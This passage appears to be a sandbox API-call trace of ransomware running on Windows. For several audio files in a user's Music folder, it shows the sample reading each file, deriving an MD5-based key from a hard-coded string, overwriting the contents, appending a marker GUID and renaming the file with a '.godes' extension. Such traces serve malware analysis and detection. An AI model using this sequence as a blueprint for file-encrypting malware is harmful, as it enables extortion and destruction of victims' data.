lpNumberOfBytesRead=0x3b2fb78*=0x6b60, lpOverlapped=0x0) returned 1 [0114.281] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.281] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.281] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.281] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.281] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.282] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.282] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.282] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.282] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.282] GetLastError () returned 0x0 [0114.282] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.282] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.282] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6b60) returned 0x3321120 [0114.282] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.282] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.282] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x6b5b, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x6b5b, lpOverlapped=0x0) returned 1 [0114.282] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.282] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.282] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.283] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.283] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.283] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.283] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.283] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.283] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.283] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.283] CloseHandle (hObject=0x624) returned 1 [0114.284] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0114.284] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0114.284] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\SoXdS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\soxds.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\SoXdS.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\soxds.wav.godes")) returned 1 [0114.285] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.285] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.286] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.286] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c200070, ftCreationTime.dwHighDateTime=0x1d4cb68, ftLastAccessTime.dwLowDateTime=0x28d128d0, ftLastAccessTime.dwHighDateTime=0x1d4d408, ftLastWriteTime.dwLowDateTime=0x28d128d0, ftLastWriteTime.dwHighDateTime=0x1d4d408, nFileSizeHigh=0x0, nFileSizeLow=0x3d4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ttPbZm5ivBn SG4OL.mp3", cAlternateFileName="TTPBZM~1.MP3")) returned 1 [0114.286] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.286] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.286] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.286] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\ttPbZm5ivBn SG4OL.mp3") returned=".mp3" [0114.286] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\ttPbZm5ivBn SG4OL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ttpbzm5ivbn sg4ol.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.288] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=15690) returned 1 [0114.288] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.290] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.290] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.291] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.291] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.291] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.291] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x3d4a, lpOverlapped=0x0) returned 1 [0114.292] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.292] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.292] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.292] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.292] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.293] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.293] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.293] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.293] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.293] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.293] GetLastError () returned 0x0 [0114.293] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.293] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.293] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.293] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3d50) returned 0x3321120 [0114.293] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.293] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.293] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x3d45, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x3d45, lpOverlapped=0x0) returned 1 [0114.294] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.294] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3d4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.294] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.294] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.294] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.294] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.294] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.294] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.294] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.294] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.294] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.294] CloseHandle (hObject=0x624) returned 1 [0114.295] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.295] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.295] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\ttPbZm5ivBn SG4OL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ttpbzm5ivbn sg4ol.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\ttPbZm5ivBn SG4OL.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ttpbzm5ivbn sg4ol.mp3.godes")) returned 1 [0114.296] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.296] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.297] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.297] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x772cabe0, ftCreationTime.dwHighDateTime=0x1d4d560, ftLastAccessTime.dwLowDateTime=0xef3cb3d0, ftLastAccessTime.dwHighDateTime=0x1d4d30f, ftLastWriteTime.dwLowDateTime=0xef3cb3d0, ftLastWriteTime.dwHighDateTime=0x1d4d30f, nFileSizeHigh=0x0, nFileSizeLow=0x10fae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W 8TSw1xhJnpWHI.m4a", cAlternateFileName="W8TSW1~1.M4A")) returned 1 [0114.297] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.297] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.297] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.297] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\W 8TSw1xhJnpWHI.m4a") returned=".m4a" [0114.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\W 8TSw1xhJnpWHI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\w 8tsw1xhjnpwhi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.297] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=69550) returned 1 [0114.297] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.299] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10f88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.299] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.300] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.300] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x10fae, lpOverlapped=0x0) returned 1 [0114.301] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.301] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.301] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.301] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.301] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.302] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.302] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.302] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.302] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.302] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.302] GetLastError () returned 0x0 [0114.302] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.302] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.302] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.302] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10fb0) returned 0x3321120 [0114.303] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.303] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x10fa9, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x10fa9, lpOverlapped=0x0) returned 1 [0114.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.303] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10fae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.303] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.303] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.303] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.303] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.304] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.304] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.304] CloseHandle (hObject=0x624) returned 1 [0114.305] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.305] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.305] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.305] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\W 8TSw1xhJnpWHI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\w 8tsw1xhjnpwhi.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\W 8TSw1xhJnpWHI.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\w 8tsw1xhjnpwhi.m4a.godes")) returned 1 [0114.305] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.305] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.306] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.306] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f2d80, ftCreationTime.dwHighDateTime=0x1d4d1ac, ftLastAccessTime.dwLowDateTime=0xaa08c40, ftLastAccessTime.dwHighDateTime=0x1d4d3a7, ftLastWriteTime.dwLowDateTime=0xaa08c40, ftLastWriteTime.dwHighDateTime=0x1d4d3a7, nFileSizeHigh=0x0, nFileSizeLow=0x10c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5Qx7lEGVjKpdcq.mp3", cAlternateFileName="_5QX7L~1.MP3")) returned 1 [0114.306] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.307] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.307] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.307] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\_5Qx7lEGVjKpdcq.mp3") returned=".mp3" [0114.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\_5Qx7lEGVjKpdcq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\_5qx7legvjkpdcq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.307] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=4288) returned 1 [0114.307] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.309] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x109a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.309] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.310] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.310] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.310] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.310] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x10c0, lpOverlapped=0x0) returned 1 [0114.311] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.311] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.311] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.311] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.311] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.312] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.312] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.312] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.312] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.312] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.312] GetLastError () returned 0x0 [0114.312] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.312] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.312] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10c0) returned 0x3321120 [0114.312] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.312] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x10bb, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x10bb, lpOverlapped=0x0) returned 1 [0114.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.312] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.312] RtlAllocateHeap (HeapHandle=0x660000, 